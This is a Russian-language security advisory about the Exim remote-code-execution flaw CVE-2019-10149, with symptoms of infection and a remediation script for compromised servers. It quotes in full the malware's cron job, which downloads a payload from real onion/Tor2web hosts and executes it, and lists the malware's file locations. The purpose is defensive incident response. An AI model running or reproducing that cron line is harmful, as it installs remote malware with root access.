Массовое заражение серверов Linux (CVE-2019-10149)

Exim (v4) — это агент пересылки почты. exim4-config предоставляет инфраструктуру конфигурации для служб exim4. Она была вынесена в отдельный пакет для упрощения замены конфигурационной схемы собственной (без изменения файлов относящихся к основным пакетам exim4). 

В случае серверов, которым требуется специальная конфигурация (например, есть много машин с одинаковыми настройками), можно использовать этот пакет для распространения изменённых конфигураций через систему пакетов с помощью механизма dpkg — conffile, которая позволяет избежать внесения дополнительных изменений на каждой машине.

Выявлена критическая уязвимость в почтовом сервере Exim, которая позволяет выполнить код на сервере с правами root. 

Данная уязвимость (CVE-2019-10149) может привести к выполнению кода на сервере с правами root, который осуществляется во время обработки специального запроса. Ошибка была найдена в версиях Exim 4.87 до 4.91 (включительно). Неправильная проверка адреса получателя в функции

delivery_message () в /src/deliver.c

может привести к удаленному выполнению команды.
Узнайте больше о CVE-2019-10149 из словаря MITER CVE и NIST NVD . Эксплуатация данной угрозы возможна в версиях с 4.87 по 4.91 включительно или при сборке с опцией EXPERIMENTAL_EVENT.

Для исправления прошлых версий, применяющихся в дистрибутивах, можно использовать патч, доступный по ссылке на сайт git.exim.org

Exim широко распространен. На момент публикации результаты поиска Shodan показали, что более 4,1 миллиона систем используют версии Exim, которые считаются уязвимыми (4.87-4.91), а 475 591 — последняя исправленная версия (4.92). Другими словами, почти 90% систем с Exim уязвимы для локальной эксплуатации и потенциально для удаленной эксплуатации в зависимости от конфигурации.

Как понять, что сервер взломан?

Проверьте запущенные процессы командой top. 
На заражённых серверах наблюдается 100%-я нагрузка, создаваемая процессом [kthrotlds]. Также в планировщике cron добавляется задание с ограничением прав на редактирование.

Секция предупреждений

Все встреченные нами инциденты заражения были абсолютно однотипными, вторая и третья волна могут от них отличаться — для них возможно придется модифицировать скрипт. На момент заражения задания в cron утрачиваются безвозвратно и возвращать их надо руками. Скрипт «рубит с плеча» — безбоязненно обновляет Exim до патченных версий, в случае с Centos 6 даже из тестового репозитория. Инстанс зловреда сидит в памяти, поэтому сервер обязательно нужно перезагружать сразу после чистки кронов. 

Важно: уязвимость позволяет исполнять код из под root’а, что не дает никаких гарантий стопроцентного исцеления. Имея рутовый доступ к серверу, можно запрятать на этот сервер почти что угодно, так, что найти его будет почти не возможно. Гарантированно полностью вылечить сервер можно только полной переустановкой, однако она далеко не всегда возможна. Если возможности переустановить сервер нет, а симптомы совпадают с описанными — можно попробовать быстро заделать дыры этим скриптом.

Используя скрипт, вы делаете это на свой страх и риск: мы протестировали скрипт на ряде серверов, однако всегда существуют риски несовместимости версий программного обеспечения или конфликта настроек.
Также наш скрипт позволяет вылечить лишь одну из возможных реализаций заражения — не исключено, что уже сейчас есть другие способы эксплуатации уязвимости, которые в наше поле зрения не попали.

1. Обновляет Exim, переустанавливает curl.
2. Проверяет наличие заражения на сервере.

Скрипт анализирует задания планировщика на наличие подозрительных включений. Например, таких:
				
					*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi;  (${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl}  -fsSLk --retry 2 --connect-timeout 22 --max-time 75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget}  --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75  https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp

				
			
2а. Если в папке /etc есть следы вирусного скрипта, делает следующее
  • останавливает cron
  • убивает процесс, запущенный вирусным скриптом
  • четыре раза убивает процессы curl wget sh (запускаются вирусом по расписанию)
  • чистит почтовую очередь от всех писем (заражённые письма трудно отделить от безвредных, поэтому приходится удалять всю очередь)
  • разрешает удаление файлов, где размещены фрагменты вредоносного скрипта:
				
					/etc/cron.daily/cronlog
/etc/cron.d/root
/etc/cron.d/.cronbus
/etc/cron.hourly/cronlog
/etc/cron.monthly/cronlog
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/root
/etc/crontab
/root/.cache/
/root/.cache/a
/usr/local/bin/nptd
/root/.cache/.kswapd
/usr/bin/\[kthrotlds\]
/root/.ssh/authorized_keys
/.cache/*
/.cache/.sysud
/.cache/.a
/.cache/.favicon.ico
/.cache/.kswapd
/.cache/.ntp
				
			
  • удаляет эти файлы
  • удаляет задание автозапуска в /etc/rc.local
  • удаляет ключ злоумышленника из разрешенных ключей ssh
  • запускает cron
  • и сразу перезагружает сервер

  • 2б. Если следов заражения нет, скрипт завершает работу.

    Уточнения

    Все задания планировщика cron вирус удаляет. Поэтому после перезагрузки сервера требуется их повторная настройка или восстановление из резервной копии. 

    curl также заражается вирусом, поэтому он переустанавливается.

    Перезагрузка (скрипт выполняет её автоматически после лечения) обязательна — иначе вредонос сохраняется в памяти сервера и самовоспроизводится каждые 30 секунд даже после удаления заражённых файлов.

    Как пользоваться

    Перед запуском убедитесь, что у вас на руках есть актуальная резервная копия данных сервера.

    Для запуска скрипта:

    Подключитесь к серверу по ssh под пользователем с правами root. Также можно использовать Shell-клиент в панели ISPmanager — Инструменты.

    В терминале введите команду:

    				
    					wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh
    				
    			

    Ожидайте завершения выполнения скрипта и перезагрузки сервера. 

    После перезагрузки проверьте работу сервера и сайтов/приложений, размещённых на нём, перенастройте или восстановите из бэкапа задачи в cron.

    Обновление до безопасной версии

    Обновления для пакетов, поставляющих версию 4.92, в которой не проявляется данная проблема, можно найти по ссылкам:

    Для Debian: https://security-tracker.debian.org/tracker/CVE-2019-10149

    Для Ubuntu: https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-10149.html

    Для OpenSUSE: https://bugzilla.novell.com/show_bug.cgi?id=CVE-2019-10149

    Для Arch Linux: https://www.archlinux.org/packages/community/x86_64/exim/

    Для Fedora: https://bodhi.fedoraproject.org/updates/FEDORA-2019-7b741dcaa4

    Данный почтовый сервер является самым распространённым, поэтому, скорее всего, он установлен в вашей системе. На данный момент уже появились вирусы, которые эксплуатируют уязвимость. Советуем осуществить проверку на наличие Exim, а также принять меры по защите от данной уязвимости.

    Некоторую информацию о CVE-2019-10149 в дистрибутивах Linux можно найти здесь:

    Отслеживание безопасности Debian: CVE-2019-10149
    База данных Red Hat CVE: CVE-2019-10149
    Ubuntu CVE Tracker: CVE-2019-10149
    Gentoo Bugzilla: CVE-2019-10149
    Центр безопасности Amazon Linux: ALAS-2019-1221

    Источник: Habr

    Свежие записи
    Команда RD

    Команда RD и RMDIR позволяют удалять как каталоги, так и

    Ремонт
    help2site
    Компьютер сам перезагружается, перегревается

    Одной из распространенных проблем в работе компьютера является его самопроизвольная перезагрузка либо выключение, обычно сопровождается зависанием системы и общей не стабильностью его работы, подергиванием, замедлением

    Интернет
    help2site
    Мощный онлайн конвертер файлов любых форматов

    Конвертировать файл из одного форма в другой. Подобная проблема-вопрос встает периодически перед каждым пользователем компьютера. Не всегда на нашем компьютере может оказаться подходящая программа-конвертер. Современные компьютерные

    Web-Дизайн
    help2site
    Всплывающие подписи изображений

    В CSS3 скрыт огромный потенциал , и в этой статье мы используем некоторые из них для создания интересных эффектов для подписи картинок. И так мы

    Ремонт
    help2site
    Что нужно для ремонта компьютера

    Для того чтобы комфортно ремонтировать компьютер требуется определённая материальная база комплектующих, программ и других средств. Каждый компьютерщик обычно приходит к этому самостоятельно, но очередной раз

    Настройка
    help2site
    Алгоритм шифрования base64

    Кодировка Base64 используется для преобразования двоичных данных в текстовый формат, который позволяет транспортировать их в средах, которые могут безопасно обрабатывать только текст. Варианты использования —

    Оборудование
    help2site
    Принт-сервер на Sagemcom 2804

    Небольшой совет у кого не получается настроить…. сначала подключите принтер к компьютеру по usb, установите драйвера, распечатайте пробную страницу… это для того чтобы драйвер вашего

    Web-Дизайн
    help2site
    Памятка по форматированию контента

    Базовые требования к тексту: полезный для потребителя; отсутствуют ошибки. Перечисленные ниже рекомендации, при их соблюдении, помогут повысить доверие к Вашему сайту, как со стороны клиентов,